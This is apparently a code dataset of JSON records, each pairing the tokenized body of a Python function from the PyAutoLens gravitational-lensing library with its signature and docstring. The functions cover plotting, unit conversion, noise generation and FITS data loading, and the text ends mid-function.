{"signature": "def plot_origin(array, origin, units, kpc_per_arcsec, zoom_offset_arcsec):", "body": "if origin is not None:<EOL><INDENT>origin_grid = np.asarray(origin)<EOL>if zoom_offset_arcsec is not None:<EOL><INDENT>origin_grid -= zoom_offset_arcsec<EOL><DEDENT>origin_units = convert_grid_units(array=array, grid_arcsec=origin_grid, units=units,<EOL>kpc_per_arcsec=kpc_per_arcsec)<EOL>plt.scatter(y=origin_units[<NUM_LIT:0>], x=origin_units[<NUM_LIT:1>], s=<NUM_LIT>, c='<STR_LIT:k>', marker='<STR_LIT:x>')<EOL><DEDENT>", "docstring": "Plot the (y,x) origin ofo the array's coordinates as a 'x'.\n\n    Parameters\n    -----------\n    array : data.array.scaled_array.ScaledArray\n        The 2D array of data which is plotted.\n    origin : (float, float).\n        The origin of the coordinate system of the array, which is plotted as an 'x' on the image if input.\n    units : str\n        The units of the y / x axis of the plots, in arc-seconds ('arcsec') or kiloparsecs ('kpc').\n    kpc_per_arcsec : float or None\n        The conversion factor between arc-seconds and kiloparsecs, required to plot the units in kpc.", "id": "f5985:m8"}
{"signature": "def plot_centres(array, centres, units, kpc_per_arcsec, zoom_offset_arcsec):", "body": "if centres is not None:<EOL><INDENT>colors = itertools.cycle([\"<STR_LIT:m>\", \"<STR_LIT:y>\", \"<STR_LIT:r>\", \"<STR_LIT:w>\", \"<STR_LIT:c>\", \"<STR_LIT:b>\", \"<STR_LIT:g>\", \"<STR_LIT:k>\"])<EOL>for centres_of_galaxy in centres:<EOL><INDENT>color = next(colors)<EOL>for centre in centres_of_galaxy:<EOL><INDENT>if zoom_offset_arcsec is not None:<EOL><INDENT>centre -= zoom_offset_arcsec<EOL><DEDENT>centre_units = convert_grid_units(array=array, grid_arcsec=centre, units=units,<EOL>kpc_per_arcsec=kpc_per_arcsec)<EOL>plt.scatter(y=centre_units[<NUM_LIT:0>], x=centre_units[<NUM_LIT:1>], s=<NUM_LIT>, c=color, marker='<STR_LIT:x>')<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Plot the (y,x) centres (e.g. of a mass profile) on the array as an 'x'.\n\n    Parameters\n    -----------\n    array : data.array.scaled_array.ScaledArray\n        The 2D array of data which is plotted.\n    centres : [[tuple]]\n        The list of centres; centres in the same list entry are colored the same.\n    units : str\n        The units of the y / x axis of the plots, in arc-seconds ('arcsec') or kiloparsecs ('kpc').\n    kpc_per_arcsec : float or None\n        The conversion factor between arc-seconds and kiloparsecs, required to plot the units in kpc.", "id": "f5985:m9"}
{"signature": "def plot_ellipses(fig, array, centres, axis_ratios, phis, units, kpc_per_arcsec, zoom_offset_arcsec):", "body": "if centres is not None and axis_ratios is not None and phis is not None:<EOL><INDENT>colors = itertools.cycle([\"<STR_LIT:m>\", \"<STR_LIT:y>\", \"<STR_LIT:r>\", \"<STR_LIT:w>\", \"<STR_LIT:c>\", \"<STR_LIT:b>\", \"<STR_LIT:g>\", \"<STR_LIT:k>\"])<EOL>for set_index in range(len(centres)):<EOL><INDENT>color = next(colors)<EOL>for geometry_index in range(len(centres[set_index])):<EOL><INDENT>centre = centres[set_index][geometry_index]<EOL>axis_ratio = axis_ratios[set_index][geometry_index]<EOL>phi = phis[set_index][geometry_index]<EOL>if zoom_offset_arcsec is not None:<EOL><INDENT>centre -= zoom_offset_arcsec<EOL><DEDENT>centre_units = convert_grid_units(array=array, grid_arcsec=centre, units=units,<EOL>kpc_per_arcsec=kpc_per_arcsec)<EOL>y = <NUM_LIT:1.0><EOL>x = <NUM_LIT:1.0>*axis_ratio<EOL>t = np.linspace(<NUM_LIT:0>, <NUM_LIT:2>*np.pi, <NUM_LIT:100>)<EOL>plt.plot(centre_units[<NUM_LIT:0>] + y*np.cos(t), centre_units[<NUM_LIT:1>] + x*np.sin(t), color=color)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Plot the (y,x) centres (e.g. of a mass profile) on the array as an 'x'.\n\n    Parameters\n    -----------\n    array : data.array.scaled_array.ScaledArray\n        The 2D array of data which is plotted.\n    centres : [[tuple]]\n        The list of centres; centres in the same list entry are colored the same.\n    units : str\n        The units of the y / x axis of the plots, in arc-seconds ('arcsec') or kiloparsecs ('kpc').\n    kpc_per_arcsec : float or None\n        The conversion factor between arc-seconds and kiloparsecs, required to plot the units in kpc.", "id": "f5985:m10"}
{"signature": "def plot_mask(mask, units, kpc_per_arcsec, pointsize, zoom_offset_pixels):", "body": "if mask is not None:<EOL><INDENT>plt.gca()<EOL>edge_pixels = mask.masked_grid_index_to_pixel[mask.edge_pixels] + <NUM_LIT:0.5><EOL>if zoom_offset_pixels is not None:<EOL><INDENT>edge_pixels -= zoom_offset_pixels<EOL><DEDENT>edge_arcsec = mask.grid_pixels_to_grid_arcsec(grid_pixels=edge_pixels)<EOL>edge_units = convert_grid_units(array=mask, grid_arcsec=edge_arcsec, units=units,<EOL>kpc_per_arcsec=kpc_per_arcsec)<EOL>plt.scatter(y=edge_units[:,<NUM_LIT:0>], x=edge_units[:,<NUM_LIT:1>], s=pointsize, c='<STR_LIT:k>')<EOL><DEDENT>", "docstring": "Plot the mask of the array on the figure.\n\n    Parameters\n    -----------\n    mask : ndarray of data.array.mask.Mask\n        The mask applied to the array, the edge of which is plotted as a set of points over the plotted array.\n    units : str\n        The units of the y / x axis of the plots, in arc-seconds ('arcsec') or kiloparsecs ('kpc').\n    kpc_per_arcsec : float or None\n        The conversion factor between arc-seconds and kiloparsecs, required to plot the units in kpc.\n    pointsize : int\n        The size of the points plotted to show the mask.", "id": "f5985:m11"}
{"signature": "def plot_border(mask, should_plot_border, units, kpc_per_arcsec, pointsize, zoom_offset_pixels):", "body": "if should_plot_border and mask is not None:<EOL><INDENT>plt.gca()<EOL>border_pixels = mask.masked_grid_index_to_pixel[mask.border_pixels]<EOL>if zoom_offset_pixels is not None:<EOL><INDENT>border_pixels -= zoom_offset_pixels<EOL><DEDENT>border_arcsec = mask.grid_pixels_to_grid_arcsec(grid_pixels=border_pixels)<EOL>border_units = convert_grid_units(array=mask, grid_arcsec=border_arcsec, units=units,<EOL>kpc_per_arcsec=kpc_per_arcsec)<EOL>plt.scatter(y=border_units[:,<NUM_LIT:0>], x=border_units[:,<NUM_LIT:1>], s=pointsize, c='<STR_LIT:y>')<EOL><DEDENT>", "docstring": "Plot the borders of the mask or the array on the figure.\n\n    Parameters\n    -----------t.\n    mask : ndarray of data.array.mask.Mask\n        The mask applied to the array, the edge of which is plotted as a set of points over the plotted array.\n    should_plot_border : bool\n        If a mask is supplied, its borders pixels (e.g. the exterior edge) is plotted if this is *True*.\n    units : str\n        The units of the y / x axis of the plots, in arc-seconds ('arcsec') or kiloparsecs ('kpc').\n    kpc_per_arcsec : float or None\n        The conversion factor between arc-seconds and kiloparsecs, required to plot the units in kpc.\n    border_pointsize : int\n        The size of the points plotted to show the borders.", "id": "f5985:m12"}
{"signature": "def plot_points(points_arcsec, array, units, kpc_per_arcsec, pointsize, zoom_offset_arcsec):", "body": "if points_arcsec is not None:<EOL><INDENT>points_arcsec = list(map(lambda position_set: np.asarray(position_set), points_arcsec))<EOL>point_colors = itertools.cycle([\"<STR_LIT:m>\", \"<STR_LIT:y>\", \"<STR_LIT:r>\", \"<STR_LIT:w>\", \"<STR_LIT:c>\", \"<STR_LIT:b>\", \"<STR_LIT:g>\", \"<STR_LIT:k>\"])<EOL>for point_set_arcsec in points_arcsec:<EOL><INDENT>if zoom_offset_arcsec is not None:<EOL><INDENT>point_set_arcsec -= zoom_offset_arcsec<EOL><DEDENT>point_set_units = convert_grid_units(array=array, grid_arcsec=point_set_arcsec, units=units,<EOL>kpc_per_arcsec=kpc_per_arcsec)<EOL>plt.scatter(y=point_set_units[:,<NUM_LIT:0>], x=point_set_units[:,<NUM_LIT:1>], color=next(point_colors), s=pointsize)<EOL><DEDENT><DEDENT>", "docstring": "Plot a set of points over the array of data on the figure.\n\n    Parameters\n    -----------\n    positions : [[]]\n        Lists of (y,x) coordinates on the image which are plotted as colored dots, to highlight specific pixels.\n    array : data.array.scaled_array.ScaledArray\n        The 2D array of data which is plotted.\n    units : str\n        The units of the y / x axis of the plots, in arc-seconds ('arcsec') or kiloparsecs ('kpc').\n    kpc_per_arcsec : float or None\n        The conversion factor between arc-seconds and kiloparsecs, required to plot the units in kpc.\n    pointsize : int\n        The size of the points plotted to show the input positions.", "id": "f5985:m13"}
{"signature": "def plot_grid(grid_arcsec, array, units, kpc_per_arcsec, pointsize, zoom_offset_arcsec):", "body": "if grid_arcsec is not None:<EOL><INDENT>if zoom_offset_arcsec is not None:<EOL><INDENT>grid_arcsec -= zoom_offset_arcsec<EOL><DEDENT>grid_units = convert_grid_units(grid_arcsec=grid_arcsec, array=array, units=units,<EOL>kpc_per_arcsec=kpc_per_arcsec)<EOL>plt.scatter(y=np.asarray(grid_units[:, <NUM_LIT:0>]), x=np.asarray(grid_units[:, <NUM_LIT:1>]), s=pointsize, c='<STR_LIT:k>')<EOL><DEDENT>", "docstring": "Plot a grid of points over the array of data on the figure.\n\n     Parameters\n     -----------.\n     grid_arcsec : ndarray or data.array.grids.RegularGrid\n         A grid of (y,x) coordinates in arc-seconds which may be plotted over the array.\n     array : data.array.scaled_array.ScaledArray\n        The 2D array of data which is plotted.\n     units : str\n         The units of the y / x axis of the plots, in arc-seconds ('arcsec') or kiloparsecs ('kpc').\n     kpc_per_arcsec : float or None\n         The conversion factor between arc-seconds and kiloparsecs, required to plot the units in kpc.\n     grid_pointsize : int\n         The size of the points plotted to show the grid.", "id": "f5985:m14"}
{"signature": "def set_xy_labels_and_ticksize(units, kpc_per_arcsec, ylabel, xlabelsize, ylabelsize, xyticksize):", "body": "plt.ylabel(ylabel=ylabel, fontsize=ylabelsize)<EOL>if units in '<STR_LIT>' or kpc_per_arcsec is None:<EOL><INDENT>plt.xlabel('<STR_LIT>', fontsize=xlabelsize)<EOL><DEDENT>elif units in '<STR_LIT>':<EOL><INDENT>plt.xlabel('<STR_LIT>', fontsize=xlabelsize)<EOL><DEDENT>else:<EOL><INDENT>raise exc.PlottingException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>plt.tick_params(labelsize=xyticksize)<EOL>", "docstring": "Set the x and y labels of the figure, and set the fontsize of those labels.\n\n    The x label is always the distance scale / radius, thus the x-label is either arc-seconds or kpc and depending \\\n    on the units the figure is plotted in.\n\n    The ylabel is the physical quantity being plotted and is passed as an input parameter.\n\n    Parameters\n    -----------\n    units : str\n        The units of the y / x axis of the plots, in arc-seconds ('arcsec') or kiloparsecs ('kpc').\n    kpc_per_arcsec : float\n        The conversion factor between arc-seconds and kiloparsecs, required to plot the units in kpc.\n    ylabel : str\n        The y-label of the figure, which is the physical quantitiy being plotted.\n    xlabelsize : int\n        The fontsize of the x axes label.\n    ylabelsize : int\n        The fontsize of the y axes label.\n    xyticksize : int\n        The font size of the x and y ticks on the figure axes.", "id": "f5986:m3"}
{"signature": "def plot_grid(grid, axis_limits=None, points=None, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None,<EOL>figsize=(<NUM_LIT:12>, <NUM_LIT:8>), pointsize=<NUM_LIT:5>, pointcolor='<STR_LIT:k>', xyticksize=<NUM_LIT:16>,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "plotter_util.setup_figure(figsize=figsize, as_subplot=as_subplot)<EOL>grid = convert_grid_units(grid_arcsec=grid, units=units, kpc_per_arcsec=kpc_per_arcsec)<EOL>plt.scatter(y=np.asarray(grid[:, <NUM_LIT:0>]), x=np.asarray(grid[:, <NUM_LIT:1>]), s=pointsize, marker='<STR_LIT:.>')<EOL>plotter_util.set_title(title=title, titlesize=titlesize)<EOL>set_xy_labels(units, kpc_per_arcsec, xlabelsize, ylabelsize, xyticksize)<EOL>set_axis_limits(axis_limits)<EOL>plot_points(grid, points, pointcolor)<EOL>plt.tick_params(labelsize=xyticksize)<EOL>plotter_util.output_figure(None, as_subplot, output_path, output_filename, output_format)<EOL>plotter_util.close_figure(as_subplot=as_subplot)<EOL>", "docstring": "Plot a grid of (y,x) Cartesian coordinates as a scatter plot of points.\n\n    Parameters\n    -----------\n    grid : data.array.grids.RegularGrid\n        The (y,x) coordinates of the grid, in an array of shape (total_coordinates, 2).\n    axis_limits : []\n        The axis limits of the figure on which the grid is plotted, following [xmin, xmax, ymin, ymax].\n    points : []\n        A set of points that are plotted in a different colour for emphasis (e.g. to show the mappings between \\\n        different planes).\n    as_subplot : bool\n        Whether the grid is plotted as part of a subplot, in which case the grid figure is not opened / closed.\n    units : str\n        The units of the y / x axis of the plots, in arc-seconds ('arcsec') or kiloparsecs ('kpc').\n    kpc_per_arcsec : float\n        The conversion factor between arc-seconds and kiloparsecs, required to plot the units in kpc.\n    figsize : (int, int)\n        The size of the figure in (rows, columns).\n    pointsize : int\n        The size of the points plotted on the grid.\n    xyticksize : int\n        The font size of the x and y ticks on the figure axes.\n    title : str\n        The text of the title.\n    titlesize : int\n        The size of of the title of the figure.\n    xlabelsize : int\n        The fontsize of the x axes label.\n    ylabelsize : int\n        The fontsize of the y axes label.\n    output_path : str\n        The path on the hard-disk where the figure is output.\n    output_filename : str\n        The filename of the figure that is output.\n    output_format : str\n        The format the figue is output:\n        'show' - display on computer screen.\n        'png' - output to hard-disk as a png.", "id": "f5987:m0"}
{"signature": "def convert_grid_units(grid_arcsec, units, kpc_per_arcsec):", "body": "if units in '<STR_LIT>' or kpc_per_arcsec is None:<EOL><INDENT>return grid_arcsec<EOL><DEDENT>elif units in '<STR_LIT>':<EOL><INDENT>return grid_arcsec * kpc_per_arcsec<EOL><DEDENT>", "docstring": "Convert the grid from its input units (arc-seconds) to the input unit (e.g. retain arc-seconds) or convert to \\\n    another set of units (kiloparsecs).\n\n    Parameters\n    -----------\n    grid_arcsec : ndarray or data.array.grids.RegularGrid\n        The (y,x) coordinates of the grid in arc-seconds, in an array of shape (total_coordinates, 2).\n    units : str\n        The units of the y / x axis of the plots, in arc-seconds ('arcsec') or kiloparsecs ('kpc').\n    kpc_per_arcsec : float\n        The conversion factor between arc-seconds and kiloparsecs, required to plot the units in kpc.", "id": "f5987:m1"}
{"signature": "def set_xy_labels(units, kpc_per_arcsec, xlabelsize, ylabelsize, xyticksize):", "body": "if units in '<STR_LIT>' or kpc_per_arcsec is None:<EOL><INDENT>plt.xlabel('<STR_LIT>', fontsize=xlabelsize)<EOL>plt.ylabel('<STR_LIT>', fontsize=ylabelsize)<EOL><DEDENT>elif units in '<STR_LIT>':<EOL><INDENT>plt.xlabel('<STR_LIT>', fontsize=xlabelsize)<EOL>plt.ylabel('<STR_LIT>', fontsize=ylabelsize)<EOL><DEDENT>else:<EOL><INDENT>raise exc.PlottingException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>plt.tick_params(labelsize=xyticksize)<EOL>", "docstring": "Set the x and y labels of the figure, and set the fontsize of those labels.\n\n    The x and y labels are always the distance scales, thus the labels are either arc-seconds or kpc and depend on the \\\n    units the figure is plotted in.\n\n    Parameters\n    -----------\n    units : str\n        The units of the y / x axis of the plots, in arc-seconds ('arcsec') or kiloparsecs ('kpc').\n    kpc_per_arcsec : float\n        The conversion factor between arc-seconds and kiloparsecs, required to plot the units in kpc.\n    xlabelsize : int\n        The fontsize of the x axes label.\n    ylabelsize : int\n        The fontsize of the y axes label.\n    xyticksize : int\n        The font size of the x and y ticks on the figure axes.", "id": "f5987:m2"}
{"signature": "def set_axis_limits(axis_limits):", "body": "if axis_limits is not None:<EOL><INDENT>plt.axis(axis_limits)<EOL><DEDENT>", "docstring": "Set the axis limits of the figure the grid is plotted on.\n\n    Parameters\n    -----------\n    axis_limits : []\n        The axis limits of the figure on which the grid is plotted, following [xmin, xmax, ymin, ymax].", "id": "f5987:m3"}
{"signature": "def plot_points(grid, points, pointcolor):", "body": "if points is not None:<EOL><INDENT>if pointcolor is None:<EOL><INDENT>point_colors = itertools.cycle([\"<STR_LIT:y>\", \"<STR_LIT:r>\", \"<STR_LIT:k>\", \"<STR_LIT:g>\", \"<STR_LIT:m>\"])<EOL>for point_set in points:<EOL><INDENT>plt.scatter(y=np.asarray(grid[point_set, <NUM_LIT:0>]),<EOL>x=np.asarray(grid[point_set, <NUM_LIT:1>]), s=<NUM_LIT:8>, color=next(point_colors))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for point_set in points:<EOL><INDENT>plt.scatter(y=np.asarray(grid[point_set, <NUM_LIT:0>]),<EOL>x=np.asarray(grid[point_set, <NUM_LIT:1>]), s=<NUM_LIT:8>, color=pointcolor)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Plot a subset of points in a different color, to highlight a specifc region of the grid (e.g. how certain \\\n    pixels map between different planes).\n\n    Parameters\n    -----------\n    grid : ndarray or data.array.grids.RegularGrid\n        The (y,x) coordinates of the grid, in an array of shape (total_coordinates, 2).\n    points : []\n        A set of points that are plotted in a different colour for emphasis (e.g. to show the mappings between \\\n        different planes).\n    pointcolor : str or None\n        The color the points should be plotted. If None, the points are iterated through a cycle of colors.", "id": "f5987:m4"}
{"signature": "def setup_random_seed(seed):", "body": "if seed == -<NUM_LIT:1>:<EOL><INDENT>seed = np.random.randint(<NUM_LIT:0>,<EOL>int(<NUM_LIT>))  <EOL><DEDENT>np.random.seed(seed)<EOL>", "docstring": "Setup the random seed. If the input seed is -1, the code will use a random seed for every run. If it is \\\n    positive, that seed is used for all runs, thereby giving reproducible results.\n\n    Parameters\n    ----------\n    seed : int\n        The seed of the random number generator.", "id": "f5989:m0"}
{"signature": "def generate_poisson_noise(image, exposure_time_map, seed=-<NUM_LIT:1>):", "body": "setup_random_seed(seed)<EOL>image_counts = np.multiply(image, exposure_time_map)<EOL>return image - np.divide(np.random.poisson(image_counts, image.shape), exposure_time_map)<EOL>", "docstring": "Generate a two-dimensional poisson noise_maps-mappers from an image.\n\nValues are computed from a Poisson distribution using the image's input values in units of counts.\n\nParameters\n----------\nimage : ndarray\n    The 2D image, whose values in counts are used to draw Poisson noise_maps values.\nexposure_time_map : Union(ndarray, int)\n    2D array of the exposure time in each pixel used to convert to / from counts and electrons per second.\nseed : int\n    The seed of the random number generator, used for the random noise_maps maps.\n\nReturns\n-------\npoisson_noise_map: ndarray\n    An array describing simulated poisson noise_maps", "id": "f5989:m1"}
{"signature": "def load_ccd_data_from_fits(image_path, pixel_scale, image_hdu=<NUM_LIT:0>,<EOL>resized_ccd_shape=None, resized_ccd_origin_pixels=None,<EOL>resized_ccd_origin_arcsec=None,<EOL>psf_path=None, psf_hdu=<NUM_LIT:0>, resized_psf_shape=None, renormalize_psf=True,<EOL>noise_map_path=None, noise_map_hdu=<NUM_LIT:0>,<EOL>noise_map_from_image_and_background_noise_map=False,<EOL>convert_noise_map_from_weight_map=False,<EOL>convert_noise_map_from_inverse_noise_map=False,<EOL>background_noise_map_path=None, background_noise_map_hdu=<NUM_LIT:0>,<EOL>convert_background_noise_map_from_weight_map=False,<EOL>convert_background_noise_map_from_inverse_noise_map=False,<EOL>poisson_noise_map_path=None, poisson_noise_map_hdu=<NUM_LIT:0>,<EOL>poisson_noise_map_from_image=False,<EOL>convert_poisson_noise_map_from_weight_map=False,<EOL>convert_poisson_noise_map_from_inverse_noise_map=False,<EOL>exposure_time_map_path=None, exposure_time_map_hdu=<NUM_LIT:0>,<EOL>exposure_time_map_from_single_value=None,<EOL>exposure_time_map_from_inverse_noise_map=False,<EOL>background_sky_map_path=None, background_sky_map_hdu=<NUM_LIT:0>,<EOL>convert_from_electrons=False,<EOL>gain=None, convert_from_adus=False, lens_name=None):", "body": "image = load_image(image_path=image_path, image_hdu=image_hdu, pixel_scale=pixel_scale)<EOL>background_noise_map = load_background_noise_map(background_noise_map_path=background_noise_map_path,<EOL>background_noise_map_hdu=background_noise_map_hdu,<EOL>pixel_scale=pixel_scale,<EOL>convert_background_noise_map_from_weight_map=convert_background_noise_map_from_weight_map,<EOL>convert_background_noise_map_from_inverse_noise_map=convert_background_noise_map_from_inverse_noise_map)<EOL>if background_noise_map is not None:<EOL><INDENT>inverse_noise_map = <NUM_LIT:1.0> / background_noise_map<EOL><DEDENT>else:<EOL><INDENT>inverse_noise_map = None<EOL><DEDENT>exposure_time_map = load_exposure_time_map(exposure_time_map_path=exposure_time_map_path,<EOL>exposure_time_map_hdu=exposure_time_map_hdu,<EOL>pixel_scale=pixel_scale, shape=image.shape,<EOL>exposure_time=exposure_time_map_from_single_value,<EOL>exposure_time_map_from_inverse_noise_map=exposure_time_map_from_inverse_noise_map,<EOL>inverse_noise_map=inverse_noise_map)<EOL>poisson_noise_map = load_poisson_noise_map(poisson_noise_map_path=poisson_noise_map_path,<EOL>poisson_noise_map_hdu=poisson_noise_map_hdu,<EOL>pixel_scale=pixel_scale,<EOL>convert_poisson_noise_map_from_weight_map=convert_poisson_noise_map_from_weight_map,<EOL>convert_poisson_noise_map_from_inverse_noise_map=convert_poisson_noise_map_from_inverse_noise_map,<EOL>image=image, exposure_time_map=exposure_time_map,<EOL>poisson_noise_map_from_image=poisson_noise_map_from_image,<EOL>convert_from_electrons=convert_from_electrons, gain=gain,<EOL>convert_from_adus=convert_from_adus)<EOL>noise_map = load_noise_map(noise_map_path=noise_map_path, noise_map_hdu=noise_map_hdu, pixel_scale=pixel_scale,<EOL>image=image, background_noise_map=background_noise_map,<EOL>exposure_time_map=exposure_time_map,<EOL>convert_noise_map_from_weight_map=convert_noise_map_from_weight_map,<EOL>convert_noise_map_from_inverse_noise_map=convert_noise_map_from_inverse_noise_map,<EOL>noise_map_from_image_and_background_noise_map=noise_map_from_image_and_background_noise_map,<EOL>convert_from_electrons=convert_from_electrons, gain=gain,<EOL>convert_from_adus=convert_from_adus)<EOL>psf = load_psf(psf_path=psf_path, psf_hdu=psf_hdu, pixel_scale=pixel_scale, renormalize=renormalize_psf)<EOL>background_sky_map = load_background_sky_map(background_sky_map_path=background_sky_map_path,<EOL>background_sky_map_hdu=background_sky_map_hdu,<EOL>pixel_scale=pixel_scale)<EOL>image = CCDData(image=image, pixel_scale=pixel_scale, psf=psf, noise_map=noise_map,<EOL>background_noise_map=background_noise_map, poisson_noise_map=poisson_noise_map,<EOL>exposure_time_map=exposure_time_map, background_sky_map=background_sky_map, gain=gain,<EOL>name=lens_name)<EOL>if resized_ccd_shape is not None:<EOL><INDENT>image = image.new_ccd_data_with_resized_arrays(new_shape=resized_ccd_shape,<EOL>new_centre_pixels=resized_ccd_origin_pixels,<EOL>new_centre_arcsec=resized_ccd_origin_arcsec)<EOL><DEDENT>if resized_psf_shape is not None:<EOL><INDENT>image = image.new_ccd_data_with_resized_psf(new_shape=resized_psf_shape)<EOL><DEDENT>if convert_from_electrons:<EOL><INDENT>image = image.new_ccd_data_converted_from_electrons()<EOL><DEDENT>elif convert_from_adus:<EOL><INDENT>image = image.new_ccd_data_converted_from_adus(gain=gain)<EOL><DEDENT>return image<EOL>", "docstring": "Factory for loading the ccd data from .fits files, as well as computing properties like the noise-map,\n    exposure-time map, etc. from the ccd-data.\n\n    This factory also includes a number of routines for converting the ccd-data from units not supported by PyAutoLens \\\n    (e.g. adus, electrons) to electrons per second.\n\n    Parameters\n    ----------\n    lens_name\n    image_path : str\n        The path to the image .fits file containing the image (e.g. '/path/to/image.fits')\n    pixel_scale : float\n        The size of each pixel in arc seconds.\n    image_hdu : int\n        The hdu the image is contained in the .fits file specified by *image_path*.        \n    image_hdu : int\n        The hdu the image is contained in the .fits file that *image_path* points too.\n    resized_ccd_shape : (int, int) | None\n        If input, the ccd arrays that are image sized, e.g. the image, noise-maps) are resized to these dimensions.\n    resized_ccd_origin_pixels : (int, int) | None\n        If the ccd arrays are resized, this defines a new origin (in pixels) around which recentering occurs.\n    resized_ccd_origin_arcsec : (float, float) | None\n        If the ccd arrays are resized, this defines a new origin (in arc-seconds) around which recentering occurs.\n    psf_path : str\n        The path to the psf .fits file containing the psf (e.g. '/path/to/psf.fits')        \n    psf_hdu : int\n        The hdu the psf is contained in the .fits file specified by *psf_path*.\n    resized_psf_shape : (int, int) | None\n        If input, the psf is resized to these dimensions.\n    renormalize_psf : bool\n        If True, the PSF is renoralized such that all elements sum to 1.0.\n    noise_map_path : str\n        The path to the noise_map .fits file containing the noise_map (e.g. '/path/to/noise_map.fits')        \n    noise_map_hdu : int\n        The hdu the noise_map is contained in the .fits file specified by *noise_map_path*.\n    noise_map_from_image_and_background_noise_map : bool\n        If True, the noise-map is computed from the observed image and background noise-map \\\n        (see NoiseMap.from_image_and_background_noise_map).\n    convert_noise_map_from_weight_map : bool\n        If True, the noise-map loaded from the .fits file is converted from a weight-map to a noise-map (see \\\n        *NoiseMap.from_weight_map).\n    convert_noise_map_from_inverse_noise_map : bool\n        If True, the noise-map loaded from the .fits file is converted from an inverse noise-map to a noise-map (see \\\n        *NoiseMap.from_inverse_noise_map).\n    background_noise_map_path : str\n        The path to the background_noise_map .fits file containing the background noise-map \\ \n        (e.g. '/path/to/background_noise_map.fits')        \n    background_noise_map_hdu : int\n        The hdu the background_noise_map is contained in the .fits file specified by *background_noise_map_path*.\n    convert_background_noise_map_from_weight_map : bool\n        If True, the bacground noise-map loaded from the .fits file is converted from a weight-map to a noise-map (see \\\n        *NoiseMap.from_weight_map).\n    convert_background_noise_map_from_inverse_noise_map : bool\n        If True, the background noise-map loaded from the .fits file is converted from an inverse noise-map to a \\\n        noise-map (see *NoiseMap.from_inverse_noise_map).\n    poisson_noise_map_path : str\n        The path to the poisson_noise_map .fits file containing the Poisson noise-map \\\n         (e.g. '/path/to/poisson_noise_map.fits')        \n    poisson_noise_map_hdu : int\n        The hdu the poisson_noise_map is contained in the .fits file specified by *poisson_noise_map_path*.\n    poisson_noise_map_from_image : bool\n        If True, the Poisson noise-map is estimated using the image.\n    convert_poisson_noise_map_from_weight_map : bool\n        If True, the Poisson noise-map loaded from the .fits file is converted from a weight-map to a noise-map (see \\\n        *NoiseMap.from_weight_map).\n    convert_poisson_noise_map_from_inverse_noise_map : bool\n        If True, the Poisson noise-map loaded from the .fits file is converted from an inverse noise-map to a \\\n        noise-map (see *NoiseMap.from_inverse_noise_map).\n    exposure_time_map_path : str\n        The path to the exposure_time_map .fits file containing the exposure time map \\ \n        (e.g. '/path/to/exposure_time_map.fits')        \n    exposure_time_map_hdu : int\n        The hdu the exposure_time_map is contained in the .fits file specified by *exposure_time_map_path*.\n    exposure_time_map_from_single_value : float\n        The exposure time of the ccd imaging, which is used to compute the exposure-time map as a single value \\\n        (see *ExposureTimeMap.from_single_value*).\n    exposure_time_map_from_inverse_noise_map : bool\n        If True, the exposure-time map is computed from the background noise_map map \\\n        (see *ExposureTimeMap.from_background_noise_map*)\n    background_sky_map_path : str\n        The path to the background_sky_map .fits file containing the background sky map \\\n        (e.g. '/path/to/background_sky_map.fits').\n    background_sky_map_hdu : int\n        The hdu the background_sky_map is contained in the .fits file specified by *background_sky_map_path*.\n    convert_from_electrons : bool\n        If True, the input unblurred_image_1d are in units of electrons and all converted to electrons / second using the exposure \\\n        time map.\n    gain : float\n        The image gain, used for convert from ADUs.\n    convert_from_adus : bool\n        If True, the input unblurred_image_1d are in units of adus and all converted to electrons / second using the exposure \\\n        time map and gain.", "id": "f5989:m2"}
{"signature": "def load_image(image_path, image_hdu, pixel_scale):", "body": "return ScaledSquarePixelArray.from_fits_with_pixel_scale(file_path=image_path, hdu=image_hdu,<EOL>pixel_scale=pixel_scale)<EOL>", "docstring": "Factory for loading the image from a .fits file\n\n    Parameters\n    ----------\n    image_path : str\n        The path to the image .fits file containing the image (e.g. '/path/to/image.fits')\n    image_hdu : int\n        The hdu the image is contained in the .fits file specified by *image_path*.\n    pixel_scale : float\n        The size of each pixel in arc seconds..", "id": "f5989:m3"}
{"signature": "def load_noise_map(noise_map_path, noise_map_hdu, pixel_scale, image, background_noise_map, exposure_time_map,<EOL>convert_noise_map_from_weight_map, convert_noise_map_from_inverse_noise_map,<EOL>noise_map_from_image_and_background_noise_map, convert_from_electrons, gain, convert_from_adus):", "body": "noise_map_options = sum([convert_noise_map_from_weight_map,<EOL>convert_noise_map_from_inverse_noise_map,<EOL>noise_map_from_image_and_background_noise_map])<EOL>if noise_map_options > <NUM_LIT:1>:<EOL><INDENT>raise exc.DataException('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if noise_map_options == <NUM_LIT:0> and noise_map_path is not None:<EOL><INDENT>return NoiseMap.from_fits_with_pixel_scale(file_path=noise_map_path, hdu=noise_map_hdu, pixel_scale=pixel_scale)<EOL><DEDENT>elif convert_noise_map_from_weight_map and noise_map_path is not None:<EOL><INDENT>weight_map = Array.from_fits(file_path=noise_map_path, hdu=noise_map_hdu)<EOL>return NoiseMap.from_weight_map(weight_map=weight_map, pixel_scale=pixel_scale)<EOL><DEDENT>elif convert_noise_map_from_inverse_noise_map and noise_map_path is not None:<EOL><INDENT>inverse_noise_map = Array.from_fits(file_path=noise_map_path, hdu=noise_map_hdu)<EOL>return NoiseMap.from_inverse_noise_map(inverse_noise_map=inverse_noise_map, pixel_scale=pixel_scale)<EOL><DEDENT>elif noise_map_from_image_and_background_noise_map:<EOL><INDENT>if background_noise_map is None:<EOL><INDENT>raise exc.DataException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if not (convert_from_electrons or convert_from_adus) and exposure_time_map is None:<EOL><INDENT>raise exc.DataException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if convert_from_adus and gain is None:<EOL><INDENT>raise 